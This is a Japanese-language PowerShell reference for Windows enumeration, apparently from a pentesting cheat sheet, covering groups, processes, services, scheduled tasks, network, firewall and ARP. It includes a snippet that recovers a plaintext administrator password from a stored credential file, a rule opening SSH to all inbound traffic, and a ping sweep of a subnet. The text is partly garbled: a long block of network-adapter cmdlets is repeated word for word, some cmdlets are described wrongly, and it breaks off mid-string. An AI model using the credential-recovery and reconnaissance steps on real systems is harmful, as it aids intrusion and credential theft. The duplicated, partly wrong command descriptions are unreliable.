グループは、Windowsシステムでユーザーを組織化するための重要な要素です。グループには、特定の権限やアクセス許可が割り当てられており、ユーザーをグループに追加することで、そのユーザーにも同じ権限やアクセス許可が与えられます。
グループの一覧表示
以下のコマンドを使用して、システム上のすべてのグループを一覧表示することができます。
Get-LocalGroup
グループの作成
新しいグループを作成するには、以下のコマンドを使用します。
New-LocalGroup -Name "GroupName"
グループへのユーザーの追加
ユーザーを既存のグループに追加するには、以下のコマンドを使用します。
Add-LocalGroupMember -Group "GroupName" -Member "UserName"
グループからのユーザーの削除
ユーザーをグループから削除するには、以下のコマンドを使用します。
Remove-LocalGroupMember -Group "GroupName" -Member "UserName"
グループの削除
グループを削除するには、以下のコマンドを使用します。
Remove-LocalGroup -Name "GroupName"
以上が基本的なPowerShellコマンドを使用したグループの操作方法です。これらのコマンドを使用することで、Windowsシステム上でのグループの管理が容易になります。
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
クリップボード
クリップボードは、Windowsオペレーティングシステムで使用される一時的なデータ保存領域です。ユーザーがテキストやファイルをコピーすると、そのデータはクリップボードに保存されます。クリップボードは、コピーしたデータを他のアプリケーションに貼り付けるために使用されます。
クリップボードの操作
クリップボードの内容を表示する
Get-Clipboard
クリップボードにテキストをコピーする
Set-Clipboard -Text "コピーするテキスト"
クリップボードにファイルをコピーする
Set-Clipboard -Path "ファイルのパス"
クリップボードの内容をクリアする
Clear-Clipboard
クリップボードを使用した攻撃
クリップボードは、悪意のある攻撃者によって悪用される可能性があります。以下は、クリップボードを使用した攻撃の例です。
- クリップボードの内容を盗むマルウェア
- クリップボードを介して機密情報を漏洩させる攻撃
- クリップボードを使用して悪意のあるコードを実行する攻撃
クリップボードのセキュリティを強化するためには、以下の対策を実施することが重要です。
- クリップボードの内容を定期的に確認し、不審なアクティビティを監視する
- クリップボードに機密情報をコピーしない
- クリップボードの内容をクリアする際には注意を払い、機密情報が漏洩しないようにする
Get-Clipboard
プロセス
Get-Process
Get-Process
コマンドは、実行中のプロセスの一覧を表示します。
Get-Process
Start-Process
Start-Process
コマンドは、新しいプロセスを開始します。
Start-Process -FilePath "C:\path\to\executable.exe"
Stop-Process
Stop-Process
コマンドは、指定したプロセスを終了します。
Stop-Process -Name "processname"
Invoke-Command
Invoke-Command
コマンドは、リモートコンピュータ上でコマンドを実行します。
Invoke-Command -ComputerName "computername" -ScriptBlock { Get-Process }
Get-WmiObject
Get-WmiObject
コマンドは、WMIオブジェクトを取得します。
Get-WmiObject -Class Win32_Process
Get-CimInstance
Get-CimInstance
コマンドは、CIMインスタンスを取得します。
Get-CimInstance -ClassName Win32_Process
Stop-Service
Stop-Service
コマンドは、指定したサービスを停止します。
Stop-Service -Name "servicename"
Start-Service
Start-Service
コマンドは、指定したサービスを開始します。
Start-Service -Name "servicename"
Restart-Service
Restart-Service
コマンドは、指定したサービスを再起動します。
Restart-Service -Name "servicename"
Set-Service
Set-Service
コマンドは、サービスの設定を変更します。
Set-Service -Name "servicename" -StartupType Automatic
Get-Service
Get-Service
コマンドは、実行中のサービスの一覧を表示します。
Get-Service
Get-NetTCPConnection
Get-NetTCPConnection
コマンドは、TCP接続の一覧を表示します。
Get-NetTCPConnection
Get-NetUDPEndpoint
Get-NetUDPEndpoint
コマンドは、UDPエンドポイントの一覧を表示します。
Get-NetUDPEndpoint
Get-NetTCPSetting
Get-NetTCPSetting
コマンドは、TCP設定の情報を表示します。
Get-NetTCPSetting
Get-NetFirewallRule
Get-NetFirewallRule
コマンドは、ファイアウォールルールの一覧を表示します。
Get-NetFirewallRule
Get-NetFirewallProfile
Get-NetFirewallProfile
コマンドは、ファイアウォールプロファイルの情報を表示します。
Get-NetFirewallProfile
Get-NetAdapter
Get-NetAdapter
コマンドは、ネットワークアダプタの情報を表示します。
Get-NetAdapter
Get-NetIPAddress
Get-NetIPAddress
コマンドは、IPアドレスの情報を表示します。
Get-NetIPAddress
Get-NetRoute
Get-NetRoute
コマンドは、ルートテーブルの情報を表示します。
Get-NetRoute
Get-NetNeighbor
Get-NetNeighbor
コマンドは、ネットワーク隣接デバイスの情報を表示します。
Get-NetNeighbor
Get-NetAdapterStatistics
Get-NetAdapterStatistics
コマンドは、ネットワークアダプタの統計情報を表示します。
Get-NetAdapterStatistics
Get-NetAdapterAdvancedProperty
Get-NetAdapterAdvancedProperty
コマンドは、ネットワークアダプタの詳細なプロパティを表示します。
Get-NetAdapterAdvancedProperty
Get-NetAdapterBinding
Get-NetAdapterBinding
コマンドは、ネットワークアダプタのバインディング情報を表示します。
Get-NetAdapterBinding
Get-NetAdapterChecksumOffload
Get-NetAdapterChecksumOffload
コマンドは、ネットワークアダプタのチェックサムオフロードの情報を表示します。
Get-NetAdapterChecksumOffload
Get-NetAdapterEncapsulatedPacketTaskOffload
Get-NetAdapterEncapsulatedPacketTaskOffload
コマンドは、ネットワークアダプタのカプセル化パケットタスクオフロードの情報を表示します。
Get-NetAdapterEncapsulatedPacketTaskOffload
Get-NetAdapterIPsecOffload
Get-NetAdapterIPsecOffload
コマンドは、ネットワークアダプタのIPsecオフロードの情報を表示します。
Get-NetAdapterIPsecOffload
Get-NetAdapterLso
Get-NetAdapterLso
コマンドは、ネットワークアダプタのLso(Large Send Offload)の情報を表示します。
Get-NetAdapterLso
Get-NetAdapterPacketDirect
Get-NetAdapterPacketDirect
コマンドは、ネットワークアダプタのPacketDirectの情報を表示します。
Get-NetAdapterPacketDirect
Get-NetAdapterPowerManagement
Get-NetAdapterPowerManagement
コマンドは、ネットワークアダプタの電源管理の情報を表示します。
Get-NetAdapterPowerManagement
Get-NetAdapterQos
Get-NetAdapterQos
コマンドは、ネットワークアダプタのQoS(Quality of Service)の情報を表示します。
Get-NetAdapterQos
Get-NetAdapterRdma
Get-NetAdapterRdma
コマンドは、ネットワークアダプタのRDMA(Remote Direct Memory Access)の情報を表示します。
Get-NetAdapterRdma
Get-NetAdapterRsc
Get-NetAdapterRsc
コマンドは、ネットワークアダプタのRSC(Receive Segment Coalescing)の情報を表示します。
Get-NetAdapterRsc
Get-NetAdapterRss
Get-NetAdapterRss
コマンドは、ネットワークアダプタのRSS(Receive Side Scaling)の情報を表示します。
Get-NetAdapterRss
Get-NetAdapterSriov
Get-NetAdapterSriov
コマンドは、ネットワークアダプタのSR-IOV(Single Root I/O Virtualization)の情報を表示します。
Get-NetAdapterSriov
Get-NetAdapterVmq
Get-NetAdapterVmq
コマンドは、ネットワークアダプタのVMQ(Virtual Machine Queue)の情報を表示します。
Get-NetAdapterVmq
Get-NetAdapterVrss
Get-NetAdapterVrss
コマンドは、ネットワークアダプタのVRSS(Virtual Receive Side Scaling)の情報を表示します。
Get-NetAdapterVrss
Get-NetAdapterWakeOnMagicPacket
Get-NetAdapterWakeOnMagicPacket
コマンドは、ネットワークアダプタのマジックパケットによるウェイクアップの情報を表示します。
Get-NetAdapterWakeOnMagicPacket
Get-NetAdapterWakeOnPattern
Get-NetAdapterWakeOnPattern
コマンドは、ネットワークアダプタのパターンによるウェイクアップの情報を表示します。
Get-NetAdapterWakeOnPattern
Get-NetAdapterWakeOnPatternList
Get-NetAdapterWakeOnPatternList
コマンドは、ネットワークアダプタのウェイクアップパターンの一覧を表示します。
Get-NetAdapterWakeOnPatternList
Get-NetAdapterWoL
Get-NetAdapterWoL
コマンドは、ネットワークアダプタのWake-on-LAN(WoL)の情報を表示します。
Get-NetAdapterWoL
Get-NetAdapterStatistics
Get-NetAdapterStatistics
コマンドは、ネットワークアダプタの統計情報を表示します。
Get-NetAdapterStatistics
Get-NetAdapterAdvancedProperty
Get-NetAdapterAdvancedProperty
コマンドは、ネットワークアダプタの詳細なプロパティを表示します。
Get-NetAdapterAdvancedProperty
Get-NetAdapterBinding
Get-NetAdapterBinding
コマンドは、ネットワークアダプタのバインディング情報を表示します。
Get-NetAdapterBinding
Get-NetAdapterChecksumOffload
Get-NetAdapterChecksumOffload
コマンドは、ネットワークアダプタのチェックサムオフロードの情報を表示します。
Get-NetAdapterChecksumOffload
Get-NetAdapterEncapsulatedPacketTaskOffload
Get-NetAdapterEncapsulatedPacketTaskOffload
コマンドは、ネットワークアダプタのカプセル化パケットタスクオフロードの情報を表示します。
Get-NetAdapterEncapsulatedPacketTaskOffload
Get-NetAdapterIPsecOffload
Get-NetAdapterIPsecOffload
コマンドは、ネットワークアダプタのIPsecオフロードの情報を表示します。
Get-NetAdapterIPsecOffload
Get-NetAdapterLso
Get-NetAdapterLso
コマンドは、ネットワークアダプタのLso(Large Send Offload)の情報を表示します。
Get-NetAdapterLso
Get-NetAdapterPacketDirect
Get-NetAdapterPacketDirect
コマンドは、ネットワークアダプタのPacketDirectの情報を表示します。
Get-NetAdapterPacketDirect
Get-NetAdapterPowerManagement
Get-NetAdapterPowerManagement
コマンドは、ネットワークアダプタの電源管理の情報を表示します。
Get-NetAdapterPowerManagement
Get-NetAdapterQos
Get-NetAdapterQos
コマンドは、ネットワークアダプタのQoS(Quality of Service)の情報を表示します。
Get-NetAdapterQos
Get-NetAdapterRdma
Get-NetAdapterRdma
コマンドは、ネットワークアダプタのRDMA(Remote Direct Memory Access)の情報を表示します。
Get-NetAdapterRdma
Get-NetAdapterRsc
Get-NetAdapterRsc
コマンドは、ネットワークアダプタのRSC(Receive Segment Coalescing)の情報を表示します。
Get-NetAdapterRsc
Get-NetAdapterRss
Get-NetAdapterRss
コマンドは、ネットワークアダプタのRSS(Receive Side Scaling)の情報を表示します。
Get-NetAdapterRss
Get-NetAdapterSriov
Get-NetAdapterSriov
コマンドは、ネットワークアダプタのSR-IOV(Single Root I/O Virtualization)の情報を表示します。
Get-NetAdapterSriov
Get-NetAdapterVmq
Get-NetAdapterVmq
コマンドは、ネットワークアダプタのVMQ(Virtual Machine Queue)の情報を表示します。
Get-NetAdapterVmq
Get-NetAdapterVrss
Get-NetAdapterVrss
コマンドは、ネットワークアダプタのVRSS(Virtual Receive Side Scaling)の情報を表示します。
Get-NetAdapterVrss
Get-NetAdapterWakeOnMagicPacket
Get-NetAdapterWakeOnMagicPacket
コマンドは、ネットワークアダプタのマジックパケットによるウェイクアップの情報を表示します。
Get-NetAdapterWakeOnMagicPacket
Get-NetAdapterWakeOnPattern
Get-NetAdapterWakeOnPattern
コマンドは、ネットワークアダプタのパターンによるウェイクアップの情報を表示します。
Get-NetAdapterWakeOnPattern
Get-NetAdapterWakeOnPatternList
Get-NetAdapterWakeOnPatternList
コマンドは、ネットワークアダプタのウェイクアップパターンの一覧を表示します。
Get-NetAdapterWakeOnPatternList
Get-NetAdapterWoL
Get-NetAdapterWoL
コマンドは、ネットワークアダプタのWake-on-LAN(WoL)の情報を表示します。
Get-NetAdapterWoL
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
サービス
PowerShell Remoting
PowerShellリモート操作は、リモートのWindowsマシンに対してPowerShellコマンドを実行するための強力なツールです。以下のコマンドを使用して、リモートマシンに接続し、コマンドを実行できます。
Enter-PSSession -ComputerName <target> -Credential <credentials>
サービスの一覧表示
リモートマシン上で実行されているサービスの一覧を表示するには、次のコマンドを使用します。
Get-Service
サービスの停止
特定のサービスを停止するには、次のコマンドを使用します。
Stop-Service -Name <service_name>
サービスの開始
特定のサービスを開始するには、次のコマンドを使用します。
Start-Service -Name <service_name>
サービスの再起動
特定のサービスを再起動するには、次のコマンドを使用します。
Restart-Service -Name <service_name>
サービスの無効化
特定のサービスを無効化するには、次のコマンドを使用します。
Set-Service -Name <service_name> -StartupType Disabled
サービスの有効化
特定のサービスを有効化するには、次のコマンドを使用します。
Set-Service -Name <service_name> -StartupType Automatic
サービスの削除
特定のサービスを削除するには、次のコマンドを使用します。
Remove-Service -Name <service_name>
サービスの設定変更
特定のサービスの設定を変更するには、次のコマンドを使用します。
Set-Service -Name <service_name> -<setting_name> <value>
サービスのステータスの確認
特定のサービスのステータスを確認するには、次のコマンドを使用します。
Get-Service -Name <service_name> | Select-Object Status
Get-Service
セキュアな文字列からパスワードを取得する
PowerShellを使用して、セキュアな文字列からパスワードを取得する方法を説明します。
$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$password = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
上記のコードでは、ConvertTo-SecureString
関数を使用して、セキュアな文字列を作成します。-String
パラメータには、セキュアな文字列に変換する元の文字列を指定します。-AsPlainText
パラメータは、セキュアな文字列を平文で保存することを指定します。-Force
パラメータは、変換を強制するために使用されます。
次に、[Runtime.InteropServices.Marshal]::SecureStringToBSTR
メソッドを使用して、セキュアな文字列をBSTR(バイナリストリング)に変換します。その後、[Runtime.InteropServices.Marshal]::PtrToStringAuto
メソッドを使用して、BSTRを文字列に変換します。これにより、セキュアな文字列からパスワードが取得されます。
この方法を使用すると、セキュアな文字列からパスワードを取得することができます。
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
スケジュールされたタスク
Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts or programs at specific times or intervals. As a pentester, understanding how scheduled tasks work can be beneficial for privilege escalation and persistence.
スケジュールされたタスクは、特定の時間や間隔でスクリプトやプログラムの実行を自動化するためのWindowsの強力な機能です。ペンテスターとして、スケジュールされたタスクの仕組みを理解することは特権の昇格や持続性に役立ちます。
Viewing Scheduled Tasks
スケジュールされたタスクの表示
To view the list of scheduled tasks on a Windows system, you can use the schtasks
command in PowerShell. This command allows you to list, create, modify, and delete scheduled tasks.
Windowsシステム上のスケジュールされたタスクのリストを表示するには、PowerShellのschtasks
コマンドを使用します。このコマンドを使用すると、スケジュールされたタスクの一覧表示、作成、変更、削除ができます。
To view all the scheduled tasks, run the following command:
すべてのスケジュールされたタスクを表示するには、次のコマンドを実行します。
schtasks /query /fo LIST /v
This will display detailed information about each scheduled task, including the task name, status, triggers, and actions.
これにより、タスク名、ステータス、トリガー、アクションなど、各スケジュールされたタスクの詳細情報が表示されます。
Creating Scheduled Tasks
スケジュールされたタスクの作成
To create a new scheduled task, you can use the schtasks
command with the /create
option. You will need administrative privileges to create a scheduled task.
新しいスケジュールされたタスクを作成するには、schtasks
コマンドに/create
オプションを使用します。スケジュールされたタスクを作成するには、管理者権限が必要です。
Here is an example command to create a scheduled task that runs a PowerShell script every day at 9:00 AM:
以下は、毎日午前9時にPowerShellスクリプトを実行するスケジュールされたタスクを作成する例です。
schtasks /create /tn "MyTask" /tr "powershell.exe -ExecutionPolicy Bypass -File C:\Path\to\script.ps1" /sc daily /st 09:00
In this command, /tn
specifies the task name, /tr
specifies the command to be executed, /sc
specifies the schedule frequency (daily in this case), and /st
specifies the start time.
このコマンドでは、/tn
はタスク名を指定し、/tr
は実行するコマンドを指定し、/sc
はスケジュールの頻度を指定します(この場合は毎日)、/st
は開始時間を指定します。
Modifying Scheduled Tasks
スケジュールされたタスクの変更
To modify an existing scheduled task, you can use the schtasks
command with the /change
option. Again, administrative privileges are required to modify a scheduled task.
既存のスケジュールされたタスクを変更するには、schtasks
コマンドに/change
オプションを使用します。スケジュールされたタスクを変更するには、再び管理者権限が必要です。
Here is an example command to modify the start time of a scheduled task:
以下は、スケジュールされたタスクの開始時間を変更する例です。
schtasks /change /tn "MyTask" /st 10:00
In this command, /tn
specifies the task name, and /st
specifies the new start time.
このコマンドでは、/tn
はタスク名を指定し、/st
は新しい開始時間を指定します。
Deleting Scheduled Tasks
スケジュールされたタスクの削除
To delete a scheduled task, you can use the schtasks
command with the /delete
option. Once again, administrative privileges are required to delete a scheduled task.
スケジュールされたタスクを削除するには、schtasks
コマンドに/delete
オプションを使用します。スケジュールされたタスクを削除するには、再び管理者権限が必要です。
Here is an example command to delete a scheduled task:
以下は、スケジュールされたタスクを削除する例です。
schtasks /delete /tn "MyTask" /f
In this command, /tn
specifies the task name, and /f
forces the deletion without confirmation.
このコマンドでは、/tn
はタスク名を指定し、/f
は確認なしで削除を強制します。
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
ネットワーク
インターフェース
| Command | Description |
|---------|-------------|
| `Get-NetAdapter` | List all network adapters |
| `Get-NetAdapter -Name <adapter_name>` | Get information about a specific network adapter |
| `Get-NetAdapter -Physical` | List only physical network adapters |
| `Get-NetAdapter -Virtual` | List only virtual network adapters |
| `Get-NetAdapter -InterfaceDescription <description>` | Get information about a network adapter based on its description |
| `Get-NetAdapter -MacAddress <mac_address>` | Get information about a network adapter based on its MAC address |
| `Get-NetIPAddress` | List all IP addresses |
| `Get-NetIPAddress -InterfaceAlias <alias>` | Get information about a specific IP address |
| `Get-NetIPAddress -IPAddress <ip_address>` | Get information about a specific IP address |
| `Get-NetIPAddress -AddressFamily <address_family>` | List IP addresses based on address family (IPv4 or IPv6) |
| `Get-NetRoute` | List all network routes |
| `Get-NetRoute -DestinationPrefix <prefix>` | Get information about a specific network route |
| `Get-NetRoute -InterfaceAlias <alias>` | List network routes for a specific interface |
| `Get-NetRoute -NextHop <next_hop>` | List network routes with a specific next hop |
| `Get-NetNeighbor` | List all network neighbors |
| `Get-NetNeighbor -IPAddress <ip_address>` | Get information about a specific network neighbor |
| `Get-NetNeighbor -InterfaceAlias <alias>` | List network neighbors for a specific interface |
| `Get-NetNeighbor -State <state>` | List network neighbors with a specific state |
<table>
<tr>
<th>コマンド</th>
<th>説明</th>
</tr>
<tr>
<td><code>Get-NetAdapter</code></td>
<td>すべてのネットワークアダプタをリストします</td>
</tr>
<tr>
<td><code>Get-NetAdapter -Name <adapter_name></code></td>
<td>特定のネットワークアダプタに関する情報を取得します</td>
</tr>
<tr>
<td><code>Get-NetAdapter -Physical</code></td>
<td>物理的なネットワークアダプタのみをリストします</td>
</tr>
<tr>
<td><code>Get-NetAdapter -Virtual</code></td>
<td>仮想的なネットワークアダプタのみをリストします</td>
</tr>
<tr>
<td><code>Get-NetAdapter -InterfaceDescription <description></code></td>
<td>説明に基づいてネットワークアダプタの情報を取得します</td>
</tr>
<tr>
<td><code>Get-NetAdapter -MacAddress <mac_address></code></td>
<td>MACアドレスに基づいてネットワークアダプタの情報を取得します</td>
</tr>
<tr>
<td><code>Get-NetIPAddress</code></td>
<td>すべてのIPアドレスをリストします</td>
</tr>
<tr>
<td><code>Get-NetIPAddress -InterfaceAlias <alias></code></td>
<td>特定のIPアドレスに関する情報を取得します</td>
</tr>
<tr>
<td><code>Get-NetIPAddress -IPAddress <ip_address></code></td>
<td>特定のIPアドレスに関する情報を取得します</td>
</tr>
<tr>
<td><code>Get-NetIPAddress -AddressFamily <address_family></code></td>
<td>アドレスファミリ(IPv4またはIPv6)に基づいてIPアドレスをリストします</td>
</tr>
<tr>
<td><code>Get-NetRoute</code></td>
<td>すべてのネットワークルートをリストします</td>
</tr>
<tr>
<td><code>Get-NetRoute -DestinationPrefix <prefix></code></td>
<td>特定のネットワークルートに関する情報を取得します</td>
</tr>
<tr>
<td><code>Get-NetRoute -InterfaceAlias <alias></code></td>
<td>特定のインターフェースのネットワークルートをリストします</td>
</tr>
<tr>
<td><code>Get-NetRoute -NextHop <next_hop></code></td>
<td>特定の次のホップを持つネットワークルートをリストします</td>
</tr>
<tr>
<td><code>Get-NetNeighbor</code></td>
<td>すべてのネットワーク隣接者をリストします</td>
</tr>
<tr>
<td><code>Get-NetNeighbor -IPAddress <ip_address></code></td>
<td>特定のネットワーク隣接者に関する情報を取得します</td>
</tr>
<tr>
<td><code>Get-NetNeighbor -InterfaceAlias <alias></code></td>
<td>特定のインターフェースのネットワーク隣接者をリストします</td>
</tr>
<tr>
<td><code>Get-NetNeighbor -State <state></code></td>
<td>特定の状態を持つネットワーク隣接者をリストします</td>
</tr>
</table>
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
ファイアウォール
A firewall is a network security device that monitors and filters incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and an untrusted external network, such as the internet. Firewalls can be implemented as hardware devices or software programs.
ファイアウォールは、事前に設定されたセキュリティルールに基づいて、送受信されるネットワークトラフィックを監視およびフィルタリングするネットワークセキュリティデバイスです。信頼された内部ネットワークとインターネットなどの信頼されていない外部ネットワークの間にバリアを設けます。ファイアウォールはハードウェアデバイスまたはソフトウェアプログラムとして実装することができます。
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
ルート
The Route
command in PowerShell is used to view and manipulate the IP routing table on a Windows system. It allows you to add, delete, or modify routes to control how network traffic is directed.
Syntax
route [-f] [-p] [Command [Destination] [mask Netmask] [Gateway] [metric Metric]] [if Interface]
Parameters
-f
: Clears the routing table before adding new routes.-p
: Makes the added routes persistent across system reboots.Command
: Specifies the action to be performed on the routing table. It can be one of the following:ADD
: Adds a route to the routing table.DELETE
: Deletes a route from the routing table.CHANGE
: Modifies an existing route in the routing table.
Destination
: Specifies the network destination for the route.Netmask
: Specifies the subnet mask for the route.Gateway
: Specifies the gateway or next hop for the route.Metric
: Specifies the metric value for the route.Interface
: Specifies the interface number or name for the route.
Examples
-
View the routing table:
route print
-
Add a route to the routing table:
route add 192.168.1.0 mask 255.255.255.0 192.168.0.1
-
Delete a route from the routing table:
route delete 192.168.1.0
-
Modify an existing route in the routing table:
route change 192.168.1.0 mask 255.255.255.0 192.168.0.2
-
Add a persistent route to the routing table:
route -p add 192.168.1.0 mask 255.255.255.0 192.168.0.1
-
Clear the routing table and add new routes:
route -f add 192.168.1.0 mask 255.255.255.0 192.168.0.1
route print
ARP
ARP(Address Resolution Protocol)は、ネットワーク上のIPアドレスとMACアドレスの対応関係を解決するためのプロトコルです。ARPは、ネットワークデバイスが通信を行う際に、宛先のIPアドレスに対応するMACアドレスを取得するために使用されます。
ARPキャッシュポイズニングは、ARPプロトコルを悪用して攻撃を行う手法です。攻撃者は、ネットワーク上のデバイスに対して、誤ったIPアドレスとMACアドレスの対応関係を提供することで、通信の乗っ取りや情報の盗み出しを行うことができます。
ARPスプーフィングは、ARPキャッシュポイズニングの一種であり、攻撃者が自身のMACアドレスを他のデバイスのMACアドレスとして偽装することで、通信の中継や傍受を行うことができます。
ARP攻撃は、ネットワークセキュリティの脆弱性を悪用するため、ネットワークの監視と適切なセキュリティ対策が重要です。
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
ホスト
ホストは、ネットワーク上で他のコンピュータやデバイスと通信するための場所です。ホストは一意のIPアドレスを持ち、通信を受け入れるために特定のポートを開くことができます。ホストは、ネットワーク上でサービスを提供するために使用されることもあります。
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
ピン
Pingコマンドは、ネットワーク上の特定のIPアドレスまたはホスト名に対して、応答時間を測定するために使用されます。以下のように使用します:
ping <IPアドレスまたはホスト名>
応答時間やパケットの損失率などの情報が表示されます。このコマンドは、ネットワーク接続のトラブルシューティングや、ネットワークの可用性を確認するために頻繁に使用されます。
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
SNMP
SNMP(Simple Network Management Protocol)は、ネットワークデバイスの管理と監視に使用されるプロトコルです。SNMPは、ネットワーク上のデバイスの情報を収集し、管理者に通知するために使用されます。SNMPは、エージェントとマネージャの間で情報を交換するために使用されます。
SNMPには、以下の主要なコンポーネントがあります。
- エージェント:ネットワークデバイス上で実行されるソフトウェアで、SNMPリクエストを受信し、応答を返します。
- マネージャ:SNMPリクエストを送信し、エージェントからの応答を受け取ります。
- MIB(Management Information Base):ネットワークデバイスの情報を定義するデータベースです。MIBは、エージェントとマネージャの間で情報を交換するために使用されます。
SNMPは、ネットワークデバイスの状態やパフォーマンスに関する情報を取得するために使用されます。また、SNMPを使用して、ネットワークデバイスの設定を変更することもできます。
SNMPには、セキュリティ上の懸念があります。デフォルトのコミュニティストリングが設定されている場合、攻撃者はSNMPを使用してデバイスにアクセスできる可能性があります。したがって、SNMPのセキュリティを強化するためには、適切なコミュニティストリングの設定やアクセス制御リスト(ACL)の使用が必要です。
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
SDDL文字列を読みやすい形式に変換する
To convert the SDDL (Security Descriptor Definition Language) string into a readable format, you can use the ConvertFrom-SddlString
cmdlet in PowerShell. This cmdlet allows you to parse and convert the SDDL string into an object that can be easily understood.
$sddlString = "D:(A;;GA;;;WD)(A;;GA;;;BA)"
$securityDescriptor = ConvertFrom-SddlString -Sddl $sddlString
$securityDescriptor
The ConvertFrom-SddlString
cmdlet takes the SDDL string as input and returns an object that represents the security descriptor. This object contains information about the various access control entries (ACEs) defined in the SDDL string.
By running the above code, you will be able to see the converted security descriptor object, which provides a more readable representation of the SDDL string.
Note: The ConvertFrom-SddlString
cmdlet is available in PowerShell version 5.1 and later.
PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;